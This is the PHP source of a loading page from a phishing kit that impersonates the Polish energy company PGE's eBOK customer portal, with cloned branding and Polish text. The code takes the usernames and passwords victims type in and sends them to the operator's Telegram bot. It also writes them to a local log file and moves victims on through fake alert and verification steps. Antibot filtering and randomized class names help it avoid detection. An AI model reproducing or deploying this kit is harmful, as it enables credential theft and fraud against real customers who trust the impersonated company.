• File: loading.php
  • Full Path: /home/sema-files/web/semafiles.configured.cc/public_html/pge/pages/loading.php
  • Date Modified: 09/23/2025 5:35 AM
  • File size: 18.72 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
    error_reporting(0);
    session_start();

    include "../antibots-debug/antibots.php";
    include '../setting/functions.php';
    include "../setting/config.php";
    include '../includes/current-page.php';
    include '../includes/set-data-users.php';
    include '../includes/check-allowed-countries.php';
    include '../includes/check-devices-allow.php';

    $ip = get_client_ip();
    $get_name_file = $ip;
    $get_name_page = "Page Loading";
    get_page_info($get_name_page, $get_name_file);
    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $bot_url  = TOKEN;
    $chat_id  = CHATID;
    $panel_control_target = $_SESSION["panel_control"];
    $panel_telegram = $_SESSION["panel_telegram"];
    $main_panel = $_SESSION["main_panel"];
    $login_error = $panel_telegram."&to=login-error";
    $ban = $panel_telegram."&ban=$ip";
    $keyboard_login = json_encode([
        "inline_keyboard" => [
            [
                [
                    "text" => "⛔ ERROR Login ⛔",
                    "url" => "$login_error"
                ]
            ],
            [
                [
                    "text" => '🕹 PaneL Control For : [ ' . get_client_ip() . " - " . $get_code_country.' ]',
                    "url" => "$panel_control_target"
                ]

            ],
            [
                [
                        "text" => "📊 Main Panel 📊",
                        "url" => "$main_panel"
                ]
            ],
            [
                [
                        "text" => "🛑 Ban IP 🛑",
                        "url" => "$ban"
                ]
            ]
            
        ]
    ]);

    if($_POST['step'] === 'login') {
        if (isset($_POST['b_s_d_p'])) {
            // Info User :
            $username = $_POST['email'];
            $password = $_POST['password'];
    
            $message = 
            "🔐=====[ Log PGE eBOK ]=====🔐\r\n".
            "[ Username ] " . $username ."\r\n".
            "[ Password ] " . $password ."\r\n".
            "📍IP - ".$ip." | ".$get_code_country."\r\n".
            "🔐=====[ Log PGE eBOK ]=====🔐\r\n";
            
            $parameters = array(
                "chat_id" => $chat_id,
                "text" => $message,
                'reply_markup' => $keyboard_login
            );
        
            $send = ($parameters);
            $website_telegram = "https://api.telegram.org/bot{$bot_url}";
            $ch = curl_init($website_telegram . '/sendMessage');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $result = curl_exec($ch);
            curl_close($ch);
    
            $message_to_file = 
            "[=====[ Log PGE eBOK ]=====]\r\n".
            "[ Username ] " . $username ."\r\n".
            "[ Password ] " . $password ."\r\n".
            "IP - ".$ip." | ".$get_code_country."\r\n".
            "[=====[ Log PGE eBOK ]=====]\r\n";
    
            $file = fopen("../file/file.txt", "a");
            fwrite($file, $message_to_file. "\n");
            fclose($file);

            $target = $_POST['ip'];
            $data_count = 'data_1';
            set_data_user_target($target, $data_count, $message_to_file);

            echo "
            <script>
                function redirectUser() {
                    window.location.href = './alert.php';
                }
                setTimeout(redirectUser, 7000);  
            </script>";
        }
    }
    elseif($_POST['step'] === 'login-error') {
        if (isset($_POST['b_s_d_p'])) {
            // Info User :
            $username = $_POST['email'];
            $password = $_POST['password'];
    
            $message = 
            "🔐=====[ Log PGE eBOK ERROR ]=====🔐\r\n".
            "[ Username ] " . $username ."\r\n".
            "[ Password ] " . $password ."\r\n".
            "📍IP - ".$ip." | ".$get_code_country."\r\n".
            "🔐=====[ Log PGE eBOK ERROR ]=====🔐\r\n";
            
            $parameters = array(
                "chat_id" => $chat_id,
                "text" => $message,
                'reply_markup' => $keyboard_login
            );
        
            $send = ($parameters);
            $website_telegram = "https://api.telegram.org/bot{$bot_url}";
            $ch = curl_init($website_telegram . '/sendMessage');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $result = curl_exec($ch);
            curl_close($ch);
    
            $message_to_file = 
            "[=====[ Log PGE eBOK ERROR ]=====]\r\n".
            "[ Username ] " . $username ."\r\n".
            "[ Password ] " . $password ."\r\n".
            "IP - ".$ip." | ".$get_code_country."\r\n".
            "[=====[ Log PGE eBOK ERROR ]=====]\r\n";
    
            $file = fopen("../file/file.txt", "a");
            fwrite($file, $message_to_file. "\n");
            fclose($file);

            $target = $_POST['ip'];
            $data_count = 'data_2';
            set_data_user_target($target, $data_count, $message_to_file);

            echo "
            <script>
                function redirectUser() {
                    window.location.href = './alert.php';
                }
                setTimeout(redirectUser, 7000);  
            </script>";
        }
    }
    elseif($_POST['step'] === 'alert'){
        if(isset($_POST['b_s_d_p'])) {
            $status = "User Click Continue From Page (Alert)";
            
            $message_to_file = 
            "[=====[ Page (Alert) ]=====]\r\n".
            "[ Status ] " . $status ."\r\n".
            "IP - ".$ip." | ".$get_code_country."\r\n".
            "[=====[ Page (Alert) ]=====]\r\n";
            
            $file = fopen("../file/file.txt", "a");
            fwrite($file, $message_to_file. "\n");
            fclose($file);

            $target = $_POST['ip'];
            $data_count = 'data_3';
            set_data_user_target($target, $data_count, $message_to_file);

            echo "
            <script>
                function redirectUser() {
                    window.location.href = './step-one.php';
                }
                setTimeout(redirectUser, 7000);  
            </script>";
        }
    }

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- SEO -->
    <?php include '../libraries/seo.php'; ?>
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:ital,wght@0,200..900;1,200..900&display=swap" rel="stylesheet">
    <!-- Font Awesome Library -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/style.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.png">
    <link rel="shortcut" href="../img/favicon.png">
    <link rel="appel-touch-icon" href="../img/favicon.png">
    <title>PGE eBOK</title>
</head>
<body class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> ">

    <!-- Main -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> main-section">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> navbar-section" style="padding-right: 0px !important;">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo">
                <img src="../img/logo.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo-desktop">
                <img src="../img/logo-mobile.png.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> logo-mobile">
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> coul-2">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-one">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-one"><img src="../img/icon-nav-1.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-normal">Konto: </div><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">010240124</div></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-one"><img src="../img/icon-nav-2.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-green">Liczba nowych powiadomień: 0</div></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-one"><img src="../img/icon-nav-3.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-gray">Ustawienia/Zgody</div></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-two">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-two" style="border-bottom: 1px solid #e1e2e7;"><img src="../img/icon-nav-4.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-normal">Wyloguj się</div></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-two"><img src="../img/icon-nav-5.png" alt=""><div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">Zmień konto</div></div>
                </div>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-other">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-left">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other hide-mobile"><img src="../img/icon-nav-2.png" alt=""></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other"><img src="../img/icon-nav-3.png" alt=""></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-navbar-right">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other hide-mobile"><img src="../img/icon-nav-5.png" alt=""></div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-navbar-other"><img src="../img/icon-nav-4.png" alt=""></div>
                </div>
            </div>
        </div>
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> content-main-section">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> form-section-other">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title-and-icon">
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> title">Proszę czekać</span>
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> fa-solid fa-hourglass-half"></i>
                </div>
                <p style="width: 100%;text-align: center;font-size: 18px !important;">
                    Weryfikujemy Twoje dane. Wkrótce zostaniesz przekierowany na następną stronę. Proces weryfikacji nie potrwa długo.
                </p>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> loading">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> spinner"></div>
                </div>
            </div>
        </div>
    </div>
    <!-- Main -->

    <!-- Footer -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> footer">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> content-footer">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-section">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-phone-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">Infolinia PGE: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">(+48) 422 222 222  Pon.-Pt.  8:00-17:00</span></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-phone-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">Pomoc techniczna eBOK: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">(+48) 422 222 298  Pon.-Pt.  8:00-17:00</span></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-mail-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">e-mail: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">serwis@gkpge.pl</span></div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-flash-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> coul-column">
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info">
                            Pogotowie energetyczne: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green">991</span>
                        </div>
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info-small">
                            Dla aglomeracji warszawskiej: <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green-small">(+48) 223 404 100</span>
                        </div>
                    </div>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> info-footer">
                    <img src="../img/footer-faq-icon.png" alt="">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-info"><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> text-green" style="cursor: pointer !important;">FAQ</span></div>
                </div>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> download-app">
                <h3>Pobierz naszą aplikację mobilną</h3>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> prt-btn-download">
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> btn-download" style="margin-right: 15px;">
                        <img src="../img/app-store.png" alt="">
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> btn-download">
                        <img src="../img/google-play.png" alt="">
                    </div>
                </div>
            </div>
        </div>
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-and-copyright">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> links-footer">
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">Pomoc użytkownika</div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">Regulamin</div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">Polityka prywatności</div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> link-footer">FAQ</div>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> copyright">
                © 2025 PGE Polska Grupa Energetyczna S.A. Wszystkie prawa zastrzeżone
            </div>
        </div>
        <img src="../img/footer-image.svg" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4) .'-'. $random_classes;?> image-footer-bottom">
    </div>
    <!-- Footer -->

    <!-- Script Js -->
    <script src="../js/jquery.min.js"></script>
    <?php include '../includes/redirect.php'; ?>
    <?php include '../includes/status.php'; ?>
</body>
</html>